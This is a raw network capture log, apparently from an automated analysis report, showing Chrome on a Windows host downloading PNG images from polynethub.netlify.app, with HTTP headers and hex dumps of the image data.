2025-03-13 09:07:53 UTC	662	OUT	GET /mgs/main.png HTTP/1.1 Host: polynethub.netlify.app Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:07:54 UTC	422	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 0 Cache-Control: public,max-age=0,must-revalidate Cache-Status: "Netlify Edge"; fwd=miss Content-Length: 5335 Content-Type: image/png Date: Thu, 13 Mar 2025 09:07:53 GMT Etag: "6d578b34826b9d260c17071c996c2506-ssl" Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01JP7C573W020FPE04AM0G98ZB Connection: close
2025-03-13 09:07:54 UTC	764	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 06 00 00 00 61 08 03 00 00 00 9a 8f 99 59 00 00 01 44 50 4c 54 45 ff ff ff 15 15 15 f5 84 1f 76 3d 1a e1 76 24 00 00 00 cc 61 28 12 12 12 c0 ac 9d ea ea ea d4 be b1 6f 6f 6f 10 10 10 1f 1f 1f 0a 0a 0a df df df d5 d5 d5 66 66 66 8c 8c 8c 9d 9d 9d be be be 2c 2c 2c c5 c5 c5 f9 f9 f9 f5 80 10 f8 ae 7c 81 81 81 76 76 76 f0 80 20 71 3a 1a 05 05 05 ec ec ec 49 49 49 82 75 6b 00 03 15 71 33 00 af af af 3f 3f 3f d5 69 26 a5 a5 a5 36 36 36 e8 7b 22 51 51 51 97 97 97 c1 c1 c1 5a 5a 5a e0 72 1a 6a 6a 6a 31 31 31 dc 71 25 df 6d 00 6a 25 00 85 45 1b 73 38 10 1f 33 46 ff 88 1c f9 e3 d5 f5 d6 c3 94 4d 1c c6 68 21 e5 8c 4e fb ee e5 f1 c1 a1 bd a6 9a a8 58 1e 0c 30 47 ec af 87 db 98 6c d5 bb aa de d4 cc e2 7c 31 89 Data Ascii: PNGIHDRaYDPLTEv=v$a(ooofff,,,\|vvv q:IIIukq3???i&666{"QQQZZZrjjj111q%mj%Es83FMh!NX0Gl\|1
2025-03-13 09:07:54 UTC	2372	IN	Data Raw: 1d 42 e1 15 ae 84 f6 d3 5d a6 38 06 06 c2 e0 87 1b b8 7e 50 18 70 9c d7 1a 04 85 57 18 7b 69 3e 81 71 b0 d7 57 ba b6 b5 88 ab a7 94 1c 6a 0e a1 f0 0a 57 40 0f 41 0c 52 8e c1 71 26 70 29 e5 ce 40 08 0a af 30 ee fa 06 ee 36 02 c2 6b c5 1c a0 14 b4 6c 0e 81 79 85 ef f3 6e 68 21 93 9e 63 18 a8 8e a1 87 62 20 f9 04 20 36 8c 31 f8 36 ef 86 16 32 e9 05 14 22 0a 10 ce 92 3e ce e0 13 30 87 10 69 f5 45 de 0d 2d 64 d2 f4 2a de 77 b2 63 c0 bc 42 ec 13 c4 74 22 82 c1 74 de 0d 2d 64 12 3c 52 88 39 d8 13 91 22 e6 15 32 38 84 48 c5 48 61 bc 15 18 31 20 3a 33 7a 05 61 0c 1e 19 21 20 1a 75 c6 b2 d0 ff 47 cf 0d c1 01 35 08 3c b7 0c 7b 85 5e 06 87 30 59 44 88 e3 2f 3d 99 9c e6 80 3b 06 dc 27 58 1c c2 64 91 36 18 7f 19 63 44 ae 33 cc 1c b4 32 39 84 22 42 1c 7f 99 63 44 6e 10 Data Ascii: B]8~PpW{i>qWjW@ARq&p)@06klynh!cb 6162">0iE-d*wcBt"t-d<R9"28HHa1 :3za! uG5<{^0YD/=;'Xd6cD329"BcDn
2025-03-13 09:07:54 UTC	538	IN	Data Raw: 61 b9 b5 8c 41 49 2c 8c a0 03 a8 0c 79 03 6b c3 74 65 c1 80 8f 10 37 6a 5c d5 79 63 f7 c8 18 88 e1 0e 63 c8 82 41 87 7a 41 7f a7 2a 6e d4 94 c7 8f 46 d5 e6 5c e1 7e 2a 88 3d e0 79 83 a5 db 62 c4 68 e5 40 f7 09 eb d7 54 ad 47 52 fb b8 4f 7f 4b 95 d3 30 b0 79 05 05 03 3e de 62 0f 34 bf f4 51 bc 74 a8 c2 24 ec 2f 72 92 82 01 1f ee b0 ae b1 60 50 4f dd a7 c2 17 2e d8 37 2f 45 27 6f 89 55 d6 6c 89 83 26 91 45 8c 73 c9 9e 8d 03 cd 27 4c b4 d2 fd 4b 59 50 8a 00 05 ae ad 6b 3b dc 6c 5e 41 c1 80 19 45 7f 85 76 6f 7e 18 f0 9d 26 95 58 ec 71 63 4b 90 14 0c c4 3c 20 ad 9a 05 83 38 16 4a dd 08 cf 27 2b 5a 68 88 10 09 4c 69 c4 73 0a d9 66 96 88 4f f8 51 33 e5 13 0e c0 81 8a 01 54 00 da f6 6c 6e 8b 82 41 c0 fa 88 e5 d1 72 c3 a0 56 91 83 2b 49 c8 fd 14 0c d8 ea 11 fe 42 Data Ascii: aAI,ykte7j\yccAzAnF\~=ybh@TGROK0y>b4Qt$/r`PO.7/E'oUl&Es'LKYPk;l^AEvo~&XqcK< 8J'+ZhLisfOQ3TlnArV+IB
2025-03-13 09:07:54 UTC	1661	IN	Data Raw: 1d 5d bc 74 03 c6 a0 25 38 78 ff bc 7b 72 f7 7d da f5 d3 e0 e1 d7 93 93 ee f3 f7 9c 02 c4 18 2c fe 81 dc 57 6e c7 18 61 b0 01 cd 20 98 f2 c9 23 62 50 67 8b 53 52 3d 5e c6 36 2f dd 64 d6 22 35 39 50 f7 d9 7e 15 2b 06 24 e2 11 1c c0 e3 90 00 f4 09 cc 1c 90 ae 7e ff ee f7 93 bb 77 ef fe 73 1d c0 60 fd 37 72 e4 e4 f7 77 ef 29 05 e8 87 95 c1 db c6 0f 63 dc 30 e0 fb 53 d4 6b b3 4c 0f bc b7 6c 44 0c 36 d4 89 0b 2e be 7b 45 ef aa 25 37 1a 51 a6 6b c0 1e 1f b8 13 5a df b5 c4 39 58 01 39 f8 05 36 06 cc 1c 4c f4 3e fc 76 f7 84 70 70 f2 fe 5a 3f 85 41 ff da af 11 05 27 77 57 3e f4 26 50 63 40 cc 81 e9 ef f4 8c 1d 06 7c 05 59 7a 28 6e 58 3e 3e 22 06 3b e0 6e 35 74 01 2c 4b 32 44 4b e6 65 5d e7 99 16 e0 fa f8 1e c6 15 e8 b9 21 3e 81 99 83 56 34 5f 7c 46 0c c2 c9 bb 6b Data Ascii: ]t%8x{r},Wna #bPgSR=^6/d"59P~+$~ws`7rw)c0SkLlD6.{E%7QkZ9X96L>vppZ?A'wW>&Pc@\|Yz(nX>>";n5t,K2DKe]!>V4_\|Fk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.12	49719	3.75.10.80	443	4832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:07:53 UTC	662	OUT	GET /mgs/icon.png HTTP/1.1 Host: polynethub.netlify.app Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:07:54 UTC	420	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 48905 Cache-Control: public,max-age=0,must-revalidate Cache-Status: "Netlify Edge"; hit Content-Length: 576 Content-Type: image/png Date: Thu, 13 Mar 2025 09:07:53 GMT Etag: "b5fa37ee0569700b0d1006b7e01c45c8-ssl" Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01JP7C577T4WTEQBB5J4XC5E90 Connection: close
2025-03-13 09:07:54 UTC	576	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1d 00 00 00 1a 08 06 00 00 00 4b 96 57 b7 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 01 d5 49 44 41 54 48 4b ed 95 4b 28 44 61 18 86 95 8d b2 62 41 59 d9 c9 ce ca ca 46 51 62 61 ad 64 61 61 c3 c2 42 6a 52 13 c9 42 83 24 0a b9 45 22 44 49 62 85 d4 34 c6 8c fb 65 86 99 cc 0c cd 60 32 23 cd b8 cc e6 e3 1b fd 75 9a f3 9e cb c8 65 63 f1 6c ce ff 9d e7 a9 ff fc e7 9c 14 ff 53 8c 7e 9b ff e8 8f 92 54 74 df 1f a5 09 5b 90 ba b6 02 64 58 f5 51 bf f9 8e 36 5c 4f 70 56 0d 5d 51 8e 35 ad f8 28 a7 7d 8f 52 9b 77 64 64 b5 da a9 62 cc 41 66 6f 04 de 9f 88 66 74 e5 2c 4c 79 9d 07 30 86 18 b3 06 a1 47 8a Data Ascii: PNGIHDRKWsRGBgAMAapHYsodIDATHKK(DabAYFQbadaaBjRB$E"DIb4e`2#ueclS~Tt[dXQ6\OpV]Q5(}RwddbAfoft,Ly0G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.12	49720	3.75.10.80	443	4832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:07:53 UTC	666	OUT	GET /mgs/eyeslash.png HTTP/1.1 Host: polynethub.netlify.app Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:07:53 UTC	420	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 10592 Cache-Control: public,max-age=0,must-revalidate Cache-Status: "Netlify Edge"; hit Content-Length: 891 Content-Type: image/png Date: Thu, 13 Mar 2025 09:07:53 GMT Etag: "3b2dc72c3ac4bd3b3de6ea834107239e-ssl" Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01JP7C57695R0D0D5DK2W728QY Connection: close
2025-03-13 09:07:53 UTC	766	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 23 00 00 00 1c 08 06 00 00 00 eb f5 06 21 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 03 10 49 44 41 54 58 47 ed 96 db 4b 54 51 14 c6 fb 63 82 48 0a bb 78 6b ba d9 c5 2c 8c c2 32 2f 0d 56 f4 10 a6 99 f4 14 96 97 a2 24 c2 4c cb 20 b4 31 c3 8a 24 53 1b 83 34 e8 a2 a3 8e 16 35 2a 8a a3 63 62 0f 42 33 a3 cc eb 8c 8c b0 3a df 9a bd 0f 33 cc 1c e7 68 24 3d f8 83 83 9e ef ac d9 fb 3b 7b af b5 f6 59 47 ff 11 6b 66 b4 58 33 a3 45 88 19 4b 6f 1f 7d fc f4 59 dc ad 3e 21 66 8c b9 67 69 fd 86 18 aa aa ae 11 ca ea 12 62 c6 6a 1d a0 e4 03 29 6c e8 cc b9 f3 42 8d cc cf e9 69 72 4c 4d 91 cf e7 13 ca df 13 Data Ascii: PNGIHDR#!sRGBgAMAapHYsodIDATXGKTQcHxk,2/V$L 1$S45*cbB3:3h$=;{YGkfX3EKo}Y>!fgibj)lBirLM
2025-03-13 09:07:53 UTC	125	IN	Data Raw: fe 35 0f 6b 59 d3 4b 54 33 12 1c 82 30 80 43 51 4e 86 0b 87 26 0e 4f 1c a2 38 4c 41 77 8f 85 0e 1d 4e e3 e7 30 eb f1 78 58 8f 86 6e 33 c1 e0 b3 01 9f 0f f8 8c d0 02 15 04 23 30 b4 ef 60 2a 59 07 06 c5 13 6d 56 64 66 39 54 dd af 61 43 f8 70 8b c6 3f 37 03 de 9a 3b e8 41 ed 23 71 a7 cd aa 98 d1 cb 9a 99 c8 10 fd 01 1e 2c f2 87 54 df ab 6d 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: 5kYKT30CQN&O8LAwN0xXn3#0`*YmVdf9TaCp?7;A#q,TmIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.12	49721	3.75.10.80	443	4832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:07:53 UTC	662	OUT	GET /mgs/prog.png HTTP/1.1 Host: polynethub.netlify.app Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:07:53 UTC	421	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 48905 Cache-Control: public,max-age=0,must-revalidate Cache-Status: "Netlify Edge"; hit Content-Length: 2833 Content-Type: image/png Date: Thu, 13 Mar 2025 09:07:53 GMT Etag: "a7c51b41fd84a8109554aae7fef739ec-ssl" Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01JP7C577M5FB9FAAQTN7QZNB9 Connection: close
2025-03-13 09:07:53 UTC	765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 b9 00 00 00 56 08 06 00 00 00 52 31 e8 cb 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 0a a6 49 44 41 54 78 5e ed dd cb 6e dc d6 1d c7 f1 02 41 1f a0 40 9f a4 7d 91 16 f6 ca ab 1a ed 33 b4 90 81 b8 2b ad bc e9 42 f0 46 80 d1 02 86 13 a4 4b 2d ac 85 ba f5 05 50 91 42 83 14 51 9a 1a 55 5d 5b 96 2c 27 f2 a5 4e 04 bb 39 e5 ef 90 7f ce e1 19 ce 78 78 d1 0c e7 e8 fb 01 88 cc f0 72 0e 2f ca f9 99 e4 21 e7 47 0e 00 80 44 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 Data Ascii: PNGIHDRVR1sRGBgAMAapHYsodIDATx^nA@}3+BFK-PBQU][,'N9xxr/!GDrdrdrdrdrdrdrdrdrdrdrdrd
2025-03-13 09:07:53 UTC	2068	IN	Data Raw: a8 ae d4 ce e6 08 b9 05 d2 eb b7 14 36 1a 9a 3c 07 d7 95 ea b2 7a 79 05 18 30 7c 7a fd 96 c2 46 c3 22 ce e2 8c ea b2 7a 53 79 05 18 21 b7 40 7a cf a4 82 46 6f 29 69 ea 70 27 bf e4 f8 d1 8d 7d d7 e6 df 58 f6 66 14 ad 03 80 61 b3 1e 95 6d ce a8 8e b6 af b9 4b 57 ae e6 c3 f5 2d d7 f4 6e 9e 9d 41 a6 d2 d3 92 90 5b 20 bd 50 59 41 a3 d7 71 35 73 e2 ee 8f 4e 9c 1b 8d 5a 87 9c ea 54 dd 5a 07 00 c3 a6 17 2a 2b 68 1a f7 a8 dc db c8 c2 6d c3 ed 15 5f 7d e0 dd da 2d be cd c7 7a 5a 6a 1d 52 40 c8 2d 90 7e 39 40 41 a3 f7 4e b6 d2 21 e4 54 a7 ea d6 3a 00 18 36 fd 72 80 82 46 ef 9d 6c 62 ef d6 55 b7 b6 fd b4 f8 96 39 de 72 6b 0d cf e6 54 a7 ea d6 3a a4 80 90 5b 20 fd 44 8e 82 a6 f5 fd b8 0e 21 67 f7 e5 b4 0e af de bc 65 60 60 18 f0 60 3f 97 d3 f9 7e 9c ce ec 1a 9e c9 d9 Data Ascii: 6<zy0\|zF"zSy!@zFo)ip'}XfamKW-nA[ PYAq5sNZTZ*+hm_}-zZjR@-~9@AN!T:6rFlbU9rkT:[ D!ge```?~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.12	49722	3.75.10.80	443	4832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:07:53 UTC	662	OUT	GET /mgs/tad1.png HTTP/1.1 Host: polynethub.netlify.app Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:07:54 UTC	422	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 0 Cache-Control: public,max-age=0,must-revalidate Cache-Status: "Netlify Edge"; fwd=miss Content-Length: 6472 Content-Type: image/png Date: Thu, 13 Mar 2025 09:07:54 GMT Etag: "f4e7fa70f231495f66f18ec5cf5dac24-ssl" Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01JP7C57GXVEQ32QKD5TX5W4R7 Connection: close
2025-03-13 09:07:54 UTC	764	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 33 00 00 00 33 08 06 00 00 00 3a a1 30 2a 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 18 dd 49 44 41 54 78 01 cd 5a 09 74 5b e5 95 be 6f 7f 7a 4f fb 2e 5b de 62 3b de b2 c7 59 49 88 29 24 69 3a a4 ac 01 0a 94 29 2d 2d ed 9c 96 29 73 e8 32 4b 8b 3b d3 2d 53 86 b6 74 80 12 4a a1 50 ca 12 4a 1a a0 93 90 06 e2 10 12 87 d8 89 9d cd b1 1d 3b 56 2c db b2 2d 5b fb f2 a4 b7 cd 95 12 32 09 0d 90 cc f4 f4 cc cd 79 47 b1 de d3 ff ff df ff df fb dd ef 5e 89 80 f3 ad b5 95 b4 bf b7 d8 18 99 0c 2a 70 f0 de 0c 5c 82 3d 01 0b 99 d2 19 ce 35 65 9c c9 34 35 1d dd 75 f5 e4 5b 13 f0 57 b2 1f 38 17 fa 8c 82 b9 Data Ascii: PNGIHDR33:0pHYssRGBgAMAaIDATxZt[ozO.[b;YI)$i:)--)s2K;-StJPJ;V,-[2yG^p\=5e45u[W8
2025-03-13 09:07:54 UTC	2372	IN	Data Raw: 7d fd 80 65 e3 bf 51 7a be 37 33 3e f9 43 b8 0c 0b 65 93 3f 3f 99 1a 2f 4f 67 c7 8e 6e 3b d0 fe 1f 17 7b 86 8b 25 92 e4 d0 29 9d a0 59 d2 c1 b0 2c 1d 0f ed 3f 62 b5 d6 1f e4 3d 35 eb 08 93 f9 39 45 c9 86 79 d5 39 4d 00 19 9c 31 67 e4 ed 49 ee f1 3f 26 f7 7d 25 dc be b5 ba 3a a7 aa 35 e1 70 bc fd 96 7b a3 71 9f 2f c9 8a 16 67 95 12 8f 11 ac 2c 8b 34 c7 7b 2a 28 97 7a 2c 3b f5 f3 d9 92 fb 0a 87 d5 5d 7b 15 15 e0 5e de f2 e3 cf 59 ca e7 a6 7b 5e ff c2 18 5c 86 fd b1 e7 cd 93 21 2d f7 65 2f 0f b1 b9 31 ab b4 d5 d4 5c c7 e7 74 82 ca 53 e1 77 41 88 97 39 43 86 1a 8d 6f d1 27 a2 42 9e e5 92 c7 c3 c1 69 7a aa eb df 43 94 a5 ee 5f 28 42 4d b0 e6 b2 9b 49 5a f4 c8 aa 0a 52 2e a5 53 9a b0 c4 53 d6 3c be f5 b1 ea 63 cb e6 99 1f 16 cd c4 bc 9d 7f 54 37 02 44 1f bd 37 Data Ascii: }eQz73>Ce??/Ogn;{%)Y,?b=59Ey9M1gI?&}%:5p{q/g,4{*(z,;]{^Y{^\!-e/1\tSwA9Co'BizC_(BMIZR.SS<cT7D7
2025-03-13 09:07:54 UTC	538	IN	Data Raw: 18 0c 34 c1 98 d0 75 0d 8c 2e b3 58 d9 51 ba 32 a1 e6 e4 b4 9a cf c6 b2 59 69 54 ca 24 47 72 b9 54 84 20 e8 28 ce 95 56 88 5c 22 11 4b ed fb 48 30 57 d4 81 b1 be dc b6 c6 53 25 99 33 b9 a3 10 1f 5d 82 0e 83 54 3c 64 87 d3 86 2b a0 7e 71 02 0c 54 ff 99 d8 41 14 64 11 10 96 75 45 9f 23 90 b6 01 cc 22 9e 4a 3e 07 d1 48 12 d0 dd 81 37 60 a1 82 2e 77 7a aa 16 b6 f6 5d 0f 9d e3 4b 61 22 63 23 18 82 70 32 48 24 94 24 c9 1c ab 05 99 9c 3c 92 4c 4f 0f c6 26 87 3a e2 f1 48 57 4e 93 c2 91 5c 3c ea cf 46 a2 6d 6d ad ca c5 d6 7b 01 98 cf 7a e6 88 b7 97 cd 5c 94 4f a6 42 d7 f5 6d ef ab 2a 15 6a cb fd e6 79 04 47 53 0e 5f 27 44 02 4e 88 8d 54 16 c5 e5 e4 09 3f 08 fc d5 50 b7 24 83 bb 7f ba 98 24 09 04 54 08 0b 12 51 91 c5 d3 22 20 87 c2 40 34 08 c8 6a 79 48 27 63 70 62 Data Ascii: 4u.XQ2YiT$GrT (V\"KH0WS%3]T<d+~qTAduE#"J>H7`.wz]Ka"c#p2H$$<LO&:HWN\<Fmm{z\OBm*jyGS_'DNT?P$$TQ" @4jyH'cpb
2025-03-13 09:07:54 UTC	2798	IN	Data Raw: 43 b1 8c cf c8 ce 76 f0 9a 6c cc a6 db 7b c2 a0 5e 36 98 eb ca 0d ba 5d 37 09 64 2e 5f 36 10 0f 87 d8 fa d3 cf d4 cd 71 dc 23 d9 8d 8e 82 64 21 30 49 16 b2 bd cd 31 82 65 8f 11 e4 29 0f c8 04 87 1b 4f 40 32 e4 06 55 f5 82 bd 2a 8d 6c 33 85 83 12 45 30 34 52 0e 83 14 c4 20 18 9a 2f 34 80 70 3a 4c f0 ee 99 1c 2c 2c 3b 0a 55 ca 3b c0 b3 b8 29 79 01 40 a6 8a a7 a8 67 14 48 63 49 51 ea 64 1b 05 2b 3b b9 65 5f f2 18 fc 59 fe f9 18 30 6f 84 42 1a e3 a4 7b bd 59 ba 63 20 1e db 6e 5e a9 cd f1 d4 da 3f 93 62 18 52 cd cb 40 a1 5f a3 16 06 8e d2 c0 e7 1d 04 49 15 21 36 8d f1 53 70 2b fc 97 9a 74 81 94 29 07 6f 1d 92 02 33 5d a4 4c 86 a3 b1 d8 a4 b1 04 41 20 48 d1 78 03 a0 f8 6a 00 de ed 05 8d 2b 85 e9 b1 34 c8 a9 24 70 22 8e 83 73 e4 d3 08 06 a5 3a 49 e8 82 95 21 7c Data Ascii: Cvl{^6]7d._6q#d!0I1e)O@2U*l3E04R /4p:L,,;U;)y@gHcIQd+;e_Y0oB{Yc n^?bR@_I!6Sp+t)o3]LA Hxj+4$p"s:I!\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.12	49727	3.125.36.175	443	4832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:07:56 UTC	396	OUT	GET /mgs/d2.png HTTP/1.1 Host: polynethub.netlify.app Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:07:56 UTC	421	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 20197 Cache-Control: public,max-age=0,must-revalidate Cache-Status: "Netlify Edge"; hit Content-Length: 8432 Content-Type: image/png Date: Thu, 13 Mar 2025 09:07:56 GMT Etag: "5b7dea020bc67c769ded6acd97eea7a4-ssl" Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01JP7C59ZJF13KWP257YD2NV8V Connection: close
2025-03-13 09:07:56 UTC	765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 ab 00 00 00 81 08 06 00 00 00 bf df 4a 49 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 20 85 49 44 41 54 78 5e ed 9d 87 7f 54 45 d7 c7 df bf 42 7d 49 21 1d 12 40 05 95 c7 e7 55 1f 20 20 02 0f 22 20 28 28 88 82 74 01 a9 e9 21 09 55 50 14 05 29 4a 93 0e d2 a5 77 50 3a 81 10 48 08 84 40 2a 09 69 24 21 09 04 c8 79 e7 cc ce 4d b6 9c ad f7 ee ee ac e6 7c 3e df 0f 65 77 e7 ce dc f9 dd 33 67 ea fd 1f 68 b2 26 f3 10 b3 49 ac f9 67 76 c0 83 73 db c4 bf 9a ec ef 66 cf 6b 2a e0 68 dc 07 90 93 76 45 fc 8f 9c 66 55 ac 35 95 0f 61 da 7f 9a 41 5c b8 17 9c 1e f7 0a 54 1c 5b 0a 4f cb f2 c4 a7 4d e6 c9 56 93 Data Ascii: PNGIHDRJIsRGBgAMAapHYsod IDATx^TEB}I!@U " ((t!UP)JwP:H@i$!yM\|>ew3gh&IgvsfkhvEfU5aA\T[OMV
2025-03-13 09:07:56 UTC	2372	IN	Data Raw: 6c e6 8d 39 35 32 10 e2 3b 7b f3 3e 06 55 5f e6 98 f5 a1 9c a1 80 59 b1 da 12 02 50 44 b3 b0 60 6e 77 5f 48 1e 6b 1a 16 18 83 de 36 87 05 ff c5 6b c7 41 6d c6 69 71 e5 26 33 b6 67 15 85 50 71 f2 57 c8 9f d7 45 34 f3 b4 38 f5 d9 f2 09 36 fb 8d 3d 7d 7b 88 eb de 02 72 d2 e5 0b 05 48 b1 da 13 02 50 60 58 80 7f ee ff dc 7c 58 60 0c 0f 13 92 de 84 87 07 be 87 ba a2 4c 91 93 7f b6 55 a7 ec 85 c2 65 83 20 27 3a 0c 72 e2 5e 21 45 69 cc 8d 89 c1 b0 b0 97 9f cd cd 3e 05 0f 05 96 cc 14 b9 90 c7 48 b1 5e dc bb c9 ee 10 80 02 c3 02 9c 1d c9 9e 4a 0b 94 02 3b 64 b9 31 2f 43 e1 0f bd a0 ea dc 26 a8 7f fc 48 e4 ea 9f 61 8f ef 5d 86 d2 df a3 b9 38 b1 47 4f 09 d2 1c c7 87 07 f0 7b 6e 6f b3 4f 21 63 28 40 8a d5 d1 10 80 02 9b a2 59 ef f9 c0 85 31 d6 c3 02 63 f2 58 93 97 c3 Data Ascii: l952;{>U_YPD`nw_Hk6kAmiq&3gPqWE486=}{rHP`X\|X`LUe ':r^!Ei>H^J;d1/C&Ha]8GO{noO!c(@Y1cX
